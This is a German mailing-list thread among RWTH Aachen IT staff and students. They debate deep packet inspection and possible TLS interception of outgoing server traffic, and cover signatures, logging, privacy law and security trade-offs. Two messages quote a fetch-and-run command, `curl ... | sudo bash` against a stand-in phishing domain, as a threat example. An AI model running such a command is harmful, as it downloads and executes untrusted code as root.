Eine gute $tageszeit, ich möchte auch mal meine persönliche Meinung dazu äußern. Eine zusätzliche Absicherung durch DPI sehe ich grundsätzlich erstmal positiv. Dafür TLS aufzubrechen sehe ich eher kritisch, auch wenn es hier ja "nur" um ausgehende Verbindungen von Servern ins große böse Internetz geht. Durch diese Einschränkung sinkt m.M.n. das Potential für einen "single point of Datenklau" ein wenig (im Vergleich zu "ein- + ausgehend"). Die möglichen Vorteile liegen auf der Hand: - Bekannte verseuchte Domains und C&C-Server rausfiltern - Antivirus-Scans sind möglich - Bekannte kaputte "Packages" (OS Repositories, NPM, Docker, maven, etc.) könnten gefiltert werden - Und so eine Infektion bzw. Verteilung dieser, möglicherweise verhindern zu können ... Dennoch ist damit TLS erstmal an einer zentralen Stelle "aufgebrochen". Die Vergangenheit hat (bei Antivirus-Software) gezeigt, dass eine re-signierung auch mal die Angriffsoberfläche erhöhen kann, wenn z.B. in der Prüfung der ursprünglichen Signatur ein Fehler passiert. Weiterhin gäbe es so eine zentrale Stelle, die, technisch, fast beliebig Daten ändern, Verbindungen töten, Informationen (z.B. Access-Tokens für Versionsverwaltungen & CI-Tools, mit Kooperationspartnern gesyncte Daten, u.Ä.) sammeln könnte (ja, nur ausgehende Anfragen, aber dennoch). Auch wenn ich dem IT Center erstmal vertraue (im Gegensatz zum ISP daheim), dass nicht böswillig eingegriffen werden würde, sehe ich hier dennoch einen zentralen Punkt, der bei technischen (potentiell auch menschlichen) Fehlern oder gar einer "Übernahme" Probleme verursachen kann. (Ein Horrorszenario wäre beispielsweise: Unbemerkte Modifikation der HTTPS-Response bei erwähntem `curl $url | sudo bash`.) Als optionalen (ob opt-in oder opt-out sei mal dahingestellt) Service halte ich das für eine gute Ergänzung des Angebots und könnte es mir auch gut für dem einen oder anderen Server vorstellen. Interessant wären, nach Testläufen, in der Tat Statistiken zu Leistungs- und eventuellen Funktions-Einschränkungen. Welche Reporting- und Konfigurations-Möglichkeiten für betroffene Server-Betreuende könnte es geben? Viele Grüße, Richard (Zameitat) On 11/02/2019 10:11, Hinrikus Wolf wrote:
Moin,
nachdem hier andere aus der FSMPI etwas mit der Polemik übertrieben haben, möchte ich mal versuchen konstruktiv zu sein.
Ich kann das Bedürfnis / die Bemühungen seitens des RZs sehr gut nachvollziehen, das RWTH-Netz abzusichern.
Ich muss sagen, dass ich auch lange gebraucht habe um deine E-Mail zu verstehen. Insbesondere was ihr vor habt. Zur Klarstellung:
Es geht darum, dass Anfragen von (bestimmten) Servern ins große Internet überwacht werden sollen, also z.B. das berühmte
curl http(s)://richtig-phishige-domain.tld/install.sh | sudo bash. Was natürlich auch von Malware gemacht werden kann.
Zum Vorgehen möchte ich anmerken, dass ich das etwas geschickter gefunden hätte, wenn die erste Ankündigung von einer IT-Adminrunde passiert wäre.
Ich würde gerne mal wissen, ob ihr das auf euren eigenen Systemen schon getestet habt. Wenn ja, mit welchem Erfolg? Malware gefunden? False Positives? Leistungseinbußen? (Hast du Zahlen?, welche System sind betroffen).
Für welche Server soll das am Ende gelten? Alle? Alle, die Freigaben in der "Great Wall of Aachen" haben? Ausgewählte, die als kritisch betrachtet werden?
Soll nur überwacht werden oder auch geblockt werden?
Ich denke das sind genug Fragen. Eine Anmerkung bleibt: https://jhalderm.com/pub/papers/interception-ndss17.pdf
Die schreiben, warum eine Aufbrechen von TLS-Traffic meistens eine Verringerung der Sicherheit bedeutet.
Viele Grüße Rikus
On 11.02.19 01:19, Jens Hektor wrote:
Hi,
Am 10.02.19 um 22:42 schrieb Markus Witt:
Guten Morgen,
ok. Die FSMPI hat offensichtlich ihren Sitz in Kalifornien ;-)
[grummel: immer noch das "Verringerung" Subject - fällt Euch echt nix besseres ein?]
<off> Mist. Ich hätte während des Studiums nicht mit "somebody wrong" Gitarre spielen sollen. </off>
On 09.02.2019 23:25, Jens Hektor wrote:
Aus "historischen" Gründen waren das bisher HTTP-Server. nicht HTTPS-, SSH- und RDP-Server. Letzte Vorfälle haben gezeigt, dass wir das ausdehnen wollen Welche Vorfälle waren das genau, über welche Schwachstellen sind Angreifer auf Systeme gekommen und was genau hat das mit sinnvoll konfigurierten SSH-Servern[0] zu tun? Gibt es post-mortems, von denen auch andere lernen können?
Postmortems sind immer Spass, also hier als Beispiel:
https://www.google.com/search?q=jens+hektor+fun
Zweiter hit, Case hier ab Seite 11, aber der Rest darf auch gelsen werden, wg. Zusammenhang.
Damit werden diese Servergruppen ab sort in dieselbe Gruppe wie die eduroam-Netzwerke Netzwerke aufgenommen, für die bereits seit einiger Zeit eine "Deep Inspection" des gesamten nicht verschlüsselten Traffics gilt Wie genau wird Traffic inspiziert? Welche Filterlisten werden verwendet?
Endlich. Einer fragt.
Wir reden hier über "deep inspection". Die Filterlisten können auch IP-Adressen sein (layer 3) aber im Regelfall reden wir über Layer 5+ also den Inhalt der (typischewrweise TCP-) Pakete.
Hier greifen Muster, wie msn sie aus klassischen Intrusion Detection Systemen (IDS - bekannte Namen: snort [Achtung: jetzt cisco], bro, surcicata) kennt, aber eben mit dem Service des Herstellers (Forcepoint, bzw. Ihrer NGFW Division die früher Stonesoft hies - <google keywords completed/>)
Gegen was wird ein Paket alles geprüft, das die DPI-Lösung passiert?
Hähähähä. Das wüsste ich auch gern. :-)
Im Ernst: die Firewall hat eine recht große Anzahl Signaturen, und ich habe regelmäßig Kontakt mit dem Hersteller wegen Mängeln in diesen. :-/
Was wird wie lange gespeichert?
Ups. Jetzt wirds berechtigerweise indiskret :-)
"Terminates", also Signaturen, bei denen wir gestört haben, ziemlich lange (~halbes Jahr).
"permits" solange bis wir das logging ausschalten.
Typischerweise haben wir in den hier relavanten "permit" Fällen aber keine "POST"-Daten, die noch relavant sein könnten.
Also in beiden Fällen: IP-Adressen, Portnummern, IDS_Signatur ggf. URLs, wenn eine Signatur triggerte. Der meiste Kram davon ist uninteressant, und wenn nicht, gibts es eine E-Mail an die Admins/User. Das wird typischerweise täglich durchgesehen (keine AI, sondern HI). Also grauenvolle Handarbeit Prüfung externer IPs, seltener URLs, Google mit Keywords "threat", "malware" usw. Halt normale SOC-Arbeit.
Solche Log-Daten fallen aber nur an, wenn eine "wie auch immer qualifizerte Signatur" des Hersteller triggerte.
also:
a) selten (ich kriege das ja noch abgearbeitet - oder er ist Mist ;-) ) b) häufig. Dann gibts ein Problem zu lösen: Client kaputt konfiguriert, Signatur Müll, oder echtes Problem -> Mail an Admin/User.
Was ich da bisher mitbekommen habe, bestand primär aus Blacklists - wo
Korrekt. Dokumentiert hier:
https://www.google.com/search?q=rwth+firewall
dann plötzlich Seiten des CCC in die Kategorie "Malware" fallen[1] und nur noch über https erreichbar sind[2].
Diese References in E-Mials sind ja manchmal eine Unsitte. Schreibt die URLs doch direkt.
Hochkopiert:
[1] <https://twitter.com/_pub_feuerrot/status/856823162696343553>
(alter Proxy-Scheiss - sorry - von 2017)
Äh:
https://maintenance.rz.rwth-aachen.de/ticket/status/messages/23-www-proxy-se...
(auch alter Proxy-Scheiss von 2017 - morgen reist man mir den Kopf deswegen ab).
[2] Das war dann auch ein guter Zeitpunkt, um mal HSTS anzumachen
Das ist eine Referenz? Äh. Nein.
Wie sieht das denn mit Fernmeldegeheimnis und DSGVO aus? So ein Serve> kann ja durchaus mal eine TLS-Verbindung aufmachen und Daten übertragen, die von einem Nutzer stammen[3] und wenn in der Aufzählung von
Huh. Ein Proxy?
In solchen Fällen bzw. Einsatzszenarien solltest Du mit Deinem ISP (Kuckuck: IT Center) reden: "Dein Server baut eine TLS Verbindung auf und überträgt Daten, die von einem Nutzer stammen"?
Klingt interessant. Really.
Wie sieht es mit "Absicherung der Server nach Stand der Technik" aus der DSVGO aus?
SSL-Traffic (HTTPS, IMAPS, ...) nach außen ist *derzeit* noch nicht betroffen (s.u.).
Yup. As of today!
auch schon explizit IMAPS genannt wird, scheint auch durchaus an das Abholen von EMails aus einem externen Postfach gedacht zu sein?
Gotme! NEIN. IMAPS in der Fläche mit Sicherheit nein. Aber: ruft *Dein* Server IMAPS ab?
Ja? Dann werden wir fragen: wieso denn? Ja was geht da ab?
Wie sieht das mit Authentifizierung mit TLS-Clientzertifikaten aus?
Habt Ihr auf Euren Servern Client Zertificate? Ich hoffe mal nicht.
Was ist mit auf Servern installierter Software, die certificate-pinning/HPKP nutzen oder EV-Zertifikate sinnvoll implementieren?
"sinnvoll?" wäre eine Gegenfrage, im konkreten Fall: Telefon, E-Mail: "hier ist was kaputt"?
In Firefox[4] kann eine CA für EV-Zertifikate nur in einem Debugbuild oder durch Selbstbau hinzugefügt werden[5] und wenn man etwas auf Servern will, sind es sicherlich selbstgebaute Anwendungen, die dann nie wieder geupdatet werden.
???
ls /etc/ssl/certs/
Wenn jemand über das kommende Aufbrechen von SSL-Verbindungen der Server nach draußen diskutieren will, schlage ich vor, ein anderes Subject in der E-Mail zu benutzen. (first come, first serve) Da hatte Thomas ja schon die passende Idee.
Mag sein. Thomas hatte sicher eine Gedanken, was er mit "Verringerung" meinte, hat es aber nur in einem kleinen Abschnitt angedeutet.
Es geht hier aber nicht um eine "Verringerung des Sicherheitsneiveaus", Privacy breakouts, oder andere Eurer Sorgen.
Es geht darum in Zukunft klare Aussagen über das Kommunikationsprofil der Server der RWTH treffen zu können.
Eine Aussagen oben haben mir die Haare zu Berge stehen lassen.
Es geht hier nicht um Verletzung irgendwelcher Privacy.
Es geht hier darum, wie aktuelle Techniken so eingesetzt werden können, dass wir einen Vorteil davon haben, ohne die DSGVO zu verletzten.
Ja. Hier ist eine grundsätzliche Diskussion gefordert, aber keine Grundsatzdiskussion. Hier müssen technische (im Sinne von: Ingeniuer) Gegebenheiten diskutiert werden.
Ich sage es mal so: der Traffic muss klassifiziert, qualifiziert und reguliert werden.
Und bevor jetzt wieder ein Studi "mimimi" ruft: is ok. Aber sach klar, was is.
Gruß, Jens Hektor
P.S. Gute Nacht. Das ist meine Zeitzone.
_______________________________________________ rwth-security mailing list -- rwth-security@lists.rwth-aachen.de To unsubscribe send an email to rwth-security-leave@lists.rwth-aachen.de